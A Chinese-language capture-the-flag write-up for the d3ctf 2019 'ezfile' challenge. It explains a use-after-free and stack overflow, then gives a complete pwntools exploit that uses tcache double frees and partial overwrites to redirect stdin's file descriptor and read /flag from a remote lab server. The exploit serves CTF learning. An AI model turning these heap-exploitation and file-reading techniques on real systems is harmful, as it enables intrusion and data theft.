d3ctf_2019_ezfile(文件流fileno的巧妙利用)

d3ctf_2019_ezfile(文件流fileno的巧妙利用)

首先,檢查一下程序的保護機制

然後,我們用IDA分析一下,delete功能存在UAF

程序裏使用的是write輸出,因此劫持IO_2_1_stdout泄露不了數據。

Add功能的size固定

Encrypt功能存在棧溢出

 

程序一開頭有一個這個

我們可以利用堆漏洞劫持IO_2_1_stdin,將裏面的fileno改爲3,然後利用encrypt功能裏的棧溢出,採用低字節覆蓋法,將返回地址覆蓋到此處

而rdi指向我們輸出的字符串,因此rdi可控

這樣,通過棧溢出返回到open處,便可以打開我們想要的文件。又由於_IO_2_1_stdin的fileno被劫持爲3,那麼scanf救會從這個打開的文件裏讀取數據到name裏,然後後面輸出。

#coding:utf8
from pwn import *

def add(size,content):
   sh.sendlineafter('>>','1')
   sh.sendlineafter('size of your note >>',str(size))
   sh.sendafter('input your content >>',content)

def delete(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('input the index to delete >>',str(index))

def encnote(index,size,seed):
   sh.sendlineafter('>>','3')
   sh.sendlineafter('input the index to encrypt >>',str(index))
   sh.sendlineafter('input the size of the seed (max 0x50) >>',str(size))
   sh.sendafter('input the crypt seed >>',seed)

def exploit():
   #0~5
   for i in range(6):
      add(0x10,'a'*0x10)
   delete(1)
   #double free
   delete(0)
   delete(0)
   add(0x1,'\x60')
   add(0x10,'a'*0x10)
   #修改chunk0的size
   add(0x9,p64(0) + p8(0xA1))
   #填滿tcache bin
   for i in range(7):
      delete(0)
   #得到unsorted bin
   delete(0)
   #低字節覆蓋,有一定機率到_IO_2_1_stdin_的fileno處
   add(0x2,'\x70\xFA')
   #再來一次double free
   delete(2)
   delete(2)
   add(0x1,'\x70')
   add(0x1,'a')
   add(0x1,'a')
   #申請到stdin的fileno處,改寫fileno爲3
   add(0x1,p8(3))
   encnote(0,0x6A,'/flag'.ljust(0x68,'\x00') + p16(0x5147))
   sh.recvuntil('welcome!')
   flag = sh.recvuntil('\n')
   print 'flag=',flag
while True:
   try:
      global sh
      #sh = process('./d3ctf_2019_ezfile')
      sh = remote('node3.buuoj.cn',29967)
      sh.sendlineafter('your name:','haivk')
      exploit()
      sh.interactive()
   except:
      sh.close()
      print 'trying...'

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章